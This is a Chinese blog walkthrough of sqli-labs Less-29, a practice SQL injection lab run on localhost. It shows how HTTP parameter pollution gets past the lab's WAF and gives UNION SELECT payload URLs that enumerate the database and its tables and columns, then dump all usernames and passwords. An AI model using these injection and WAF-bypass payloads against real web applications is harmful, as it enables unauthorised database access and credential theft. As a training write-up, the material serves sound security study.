sqli-labs (less-29)

sqli-labs (less-29)

进入29关,输入ID=1

输入

http://127.0.0.1/sql1/Less-29/?id=1' #回显错误


根据错误显示,判断闭合方式为’–+,但是这里不就跟less-1一模一样了吗,我们打开less-29的源文件看看,发现不只一个页面

我们输入

http://127.0.0.1/sql1/Less-29/login.php?id=1


输入

http://127.0.0.1/sql1/Less-29/login.php?id=1'


这里意思为WAF防火墙成功阻挡了本次攻击,那是不是不存在SQL注入漏洞了呢,当然不是,我们想办法绕过WAF就行了

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=2

这里我们在ID后面输入id=1&id=2,网站到底会去执行哪个ID呢,这里需要看我们使用的web容器,如果我们使用的web容器为apache,则会执行id=2,如果为tomcat,则会执行id=1,这里我的web容器为apache,所以会执行id=2

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=2' #回显错误


根据错误信息判断闭合方式为’–+,并且为字符型注入

确定回显位置

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,3--+


查看当前库

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,database()--+


查看security库下的所有表

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+


查看users表下的所有字段

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+


查看username,password字段的所有值

http://127.0.0.1/sql1/Less-29/login.php?id=1&id=-2' union select 1,2,(select group_concat(concat_ws('~',username,password)) from security.users)--+

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值